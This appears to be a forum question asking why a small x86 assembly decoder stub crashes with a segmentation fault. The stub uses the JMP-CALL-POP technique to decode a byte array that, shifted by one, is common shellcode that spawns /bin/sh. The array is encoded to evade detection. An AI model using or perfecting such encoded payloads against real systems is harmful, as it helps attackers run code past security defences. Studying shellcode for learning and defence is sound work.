This is a part of code in which I cannot figure out the mistake. I am using the jmp-pop-call technique and what I get is "Segmentation Fault". Tried to use GDB but things are really vague. Each byte is encoded by 1 in python and what I want is to decode with the following part of code:
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
xor eax, eax
mov edx, 23
decode:
mov bl, byte[esi+eax]
dec byte[esi+eax]
cont:
cmp eax,edx
jz short encodedShellcode
inc eax
jmp short decode
call_shellcode:
call decoder
encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,